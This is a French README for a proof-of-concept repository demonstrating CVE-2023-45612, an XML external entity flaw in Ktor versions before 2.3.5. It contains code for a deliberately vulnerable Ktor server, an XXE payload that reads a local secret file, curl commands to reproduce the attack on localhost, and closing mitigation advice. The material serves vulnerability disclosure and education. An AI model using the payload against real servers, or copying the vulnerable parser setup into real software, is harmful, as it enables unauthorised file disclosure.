razvanclaudiu/ktor-xxe-pocCe dépôt fournit une preuve de concept pour CVE-2023-45612, démontrant une vulnérabilité d'injection d'entité externe XML (XXE) dans les versions de JetBrains Ktor antérieures à 2.3.5.
Ce dépôt contient un serveur Ktor vulnérable destiné à démontrer la vulnérabilité d'injection XML External Entity (XXE) identifiée dans CVE-2023-45612.
La vulnérabilité existe dans les versions de Ktor antérieures à 2.3.5 lorsque le plugin ContentNegotiation est utilisé avec le sérialiseur xml() par défaut. L'analyseur XML par défaut n'était pas configuré pour empêcher la résolution d'entités externes, permettant ainsi à des attaquants de lire des fichiers arbitraires sur le serveur.
Les sections suivantes décrivent les étapes pour reproduire l'exploit sur votre propre machine.
Versions que j'ai utilisées pour ce PoC :
Créez un projet Ktor dans IntelliJ IDEA avec le moteur Netty, Gradle Kotlin et la version 2.3.4 de Ktor (ou une version antérieure).
Dans le fichier build.gradle.kts, vous devrez introduire le plugin suivant :
kotlin("plugin.serialization") version "2.2.20"
et ces dépendances ;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt doit contenir la fonction principale pour démarrer le serveur et la fonction module() pour le configurer. Par défaut, la fonction xml() initialise un analyseur XML qui autorise le traitement des entités externes.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt doit définir le point de terminaison qui recevra et analysera le XML malveillant.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
Compilez l'application et démarrez le serveur.
./gradlew build
./gradlew run
Pour tester le point de terminaison, créez un fichier XML nommé hello_message.xml.
<Message>
<message>Hello, world!</message>
</Message>
Vous pouvez l'exécuter avec la commande curl suivante (sur Windows) :
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
Et vous devriez obtenir le message suivant en cas de succès :
Message received: Hello, world!
Créez un fichier secret_file.txt contenant du texte. Les informations qu'il contient sont ce que nous voulons obtenir avec notre exploit.
Créez un fichier nommé exploit_message.xml. Son contenu doit définir une entité externe &xxe; comme contenu du fichier secret_file.txt, puis utiliser cette entité dans les balises <message>.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
Exécutez la commande curl suivante (sur Windows) vers le serveur en cours d'exécution :
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
Le serveur lira le fichier secret_file.txt et renverra son contenu dans la réponse HTTP :
Message received: XXE was a success.
La solution la plus efficace consiste à mettre à jour Ktor vers la version 2.3.5 ou une version ultérieure. Ils utilisent un analyseur XML par défaut configuré de manière sécurisée qui désactive le traitement des définitions de type de document et des entités externes par défaut, ce qui empêche directement cette attaque XXE. Vous pouvez également configurer manuellement l'analyseur XML.
En tant que couche de défense supplémentaire, lisez le corps brut de la requête sous forme de texte brut et rejetez-le s'il contient des mots-clés suspects comme <!DOCTYPE ou <!ENTITY avant qu'il n'atteigne l'analyseur.
Cette vulnérabilité est spécifique à l'analyse XML. Si les exigences de votre application sont flexibles, le changement le plus sûr consiste à éviter complètement XML et à utiliser un format qui ne présente pas cette classe de vulnérabilité, comme JSON.
Essayez activement de trouver des failles de sécurité en vérifiant si vos bibliothèques présentent des vulnérabilités connues et en testant votre application contre les exploits courants.